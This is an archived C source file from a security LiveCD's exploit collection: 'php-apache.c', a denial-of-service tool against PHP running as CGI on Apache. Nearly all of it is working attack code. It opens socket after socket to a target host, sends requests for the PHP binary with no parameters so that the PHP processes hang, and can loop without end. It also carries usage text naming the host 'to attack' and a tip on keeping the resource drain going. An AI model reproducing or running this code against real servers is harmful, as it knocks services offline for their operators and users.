home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / apache / php-apache.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  161 lines

  1. /* PHP-APACHE.C
  2.  * By Matthew Murphy
  3.  * Exhaust CGI Resources via PHP on Apache
  4.  * 
  5.  * Calling PHP with no parameters causes it to
  6.  * never terminate; the process must be killed
  7.  * by the server, the OS, or the admin.
  8.  *
  9.  * PHP on Apache requires you to configure a
  10.  * virtual to load PHP out of.  PHP implements
  11.  * a "cgi.force_redirect" value to require that
  12.  * a certain environment variable be set to
  13.  * allow PHP to run further.
  14.  *
  15.  * However, an empty command-line *still* will
  16.  * cause PHP to hang.  If a remote user does
  17.  * this for a lengthy amount of time, the server
  18.  * may no longer launch PHP or other server-side
  19.  * components.
  20.  *
  21.  * NOTE: The vulnerable config is on Apache,
  22.  * but other servers can still be exploited
  23.  * if they offer PHP.EXE (or an SAPI) directly.
  24.  *
  25.  * Usage: php-apache <host> [phpbin] [port] [maxsocks] 
  26. */
  27.  
  28. #include <stdio.h>
  29. #include <string.h>
  30.  
  31. #ifdef _WIN32
  32. #define _WINSOCKAPI_            /* Fix for Winsock.h redef errors 
  33. */
  34. #include <winsock2.h>            /* WinSock API calls... */
  35. #define WSA_VER        0x0101        /* WinSock ver. to use */
  36. #pragma comment(lib, "wsock32.lib")    /* Check your compiler's docs... 
  37. */
  38. #else
  39. #include <signal.h>
  40. #include <netdb.h>
  41. #include <sys/types.h>
  42. #include <sys/time.h>
  43. #include <netinet/in.h>
  44. #include <netinet/ip.h>
  45. #include <netinet/tcp.h>
  46. #endif
  47.  
  48. #define DEF_PHP        "/php/php"    /* This is used as the PHP
  49.                      * path if one isn't set
  50.                     */
  51.  
  52. static char php_buf[] = "GET %s HTTP/1.0\x0d\x0a\x0d\x0a";
  53.  
  54. void main(int argc, char *argv[]) {
  55.     char host[257];
  56.     char binpath[257];
  57.     int maxsocks;
  58.     char request[300];
  59.     unsigned short port;
  60.     struct hostent *he;
  61.     struct sockaddr_in sa_in;
  62. #ifdef _WIN32
  63.     WSADATA wsa_prov;
  64.     SOCKET s;
  65. #else
  66.     int s;
  67. #endif
  68.     printf("PHP-APACHE.C by Matthew Murphy\x0d\x0a");
  69.     printf("Exhausting CGI resources w/ PHP on 
  70. Apache\x0d\x0a\x0d\x0a");
  71.     maxsocks = 0;
  72.     strcpy(&binpath[0], DEF_PHP);
  73. #ifdef _WIN32
  74.     if (!WSAStartup(WSA_VER, &wsa_prov) == 0) {
  75.         printf("ERROR: Windows Sockets init failed!");
  76.         exit(1);
  77.     }
  78. #endif
  79.     port = (unsigned short)htons(80);
  80.     switch (argc) {
  81.     case 5:
  82.         maxsocks = atoi(argv[4]);
  83.     case 4:
  84.         port = htons((unsigned short)atoi(argv[2]));
  85.     case 3:
  86.         if (strlen(argv[2]) > 256) {
  87.             printf("ERROR: 256 char path limit exceeded in 
  88. 'phpbin' argument.");
  89.             exit(1);
  90.         }
  91.         strcpy(&binpath[0], argv[2]);
  92.     case 2:
  93.         if (strlen(argv[1]) > 256) {
  94.             printf("ERROR: No host should be over 256 
  95. chars!");
  96.             exit(1);
  97.         }
  98.         strcpy(&host[0], argv[1]);
  99.         break;
  100.     default:
  101.         printf("Usage: php-apache <host> [port] [maxsocks] 
  102. [phpbin]\x0d\x0a\x0d\x0ahost - The IP/DNS name to attack\x0d\x0aport - The 
  103. port the HTTP service normally runs on (default: 80)\x0d\x0amaxsocks - The 
  104. maximum number of connections to establish (creates a finite flood).  A 
  105. zero value means continue until termination (default: 0)\x0d\x0aphpbin - 
  106. The virtual path to the PHP binary (e.g, /php/php[.exe]; default: 
  107. /php/php)");
  108.         exit(0);
  109.     }
  110.     if (maxsocks == 0) {
  111.         maxsocks--;
  112.     }
  113.     sa_in.sin_family = AF_INET;
  114.     sa_in.sin_port = (unsigned short)port;
  115.     he = gethostbyname(&host[0]);
  116.     if (he == NULL) {
  117.         printf("ERROR: DNS resolution failed, or unknown host.");
  118.         exit(1);
  119.     }
  120. #ifdef _WIN32
  121.     sa_in.sin_addr.S_un.S_addr = (unsigned long)*(unsigned long 
  122. *)he->h_addr;
  123. #else
  124.     sa_in.sin_addr.S_addr = (unsigned long)*(unsigned long 
  125. *)he->h_addr;
  126. #endif
  127.     sprintf(&request[0], &php_buf[0], &binpath[0]);
  128.     while (!maxsocks == 0) {
  129.         s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  130.         if (s < 0) {
  131.             printf("Couldn't create socket...\x0d\x0aIf you 
  132. continue to receive this error, terminate the program.");
  133.         } else {
  134.             if (!connect(s, (const struct sockaddr FAR 
  135. *)&sa_in, sizeof(struct sockaddr_in)) == 0) {
  136.                 printf("Couldn't connect...\x0d\x0aIf you 
  137. continue to receive this error, terminate the program.");
  138.             } else {
  139.                 send(s, (char FAR *)&request[0], 
  140. strlen(&request[0]), 0);
  141.  
  142. /* If the exploit isn't using up server resources
  143.  * try removing this -- the server may be killing
  144.  * the CGI after a disconnect.
  145. */
  146.  
  147. #ifdef _WIN32
  148.                 shutdown(s, SD_BOTH);
  149.                 closesocket(s);
  150. #else
  151.                 close(s);
  152. #endif
  153.             }
  154.         }
  155.         if (!maxsocks == -1) {
  156.             maxsocks--;
  157.         }
  158.     }
  159.     return;
  160. }
  161.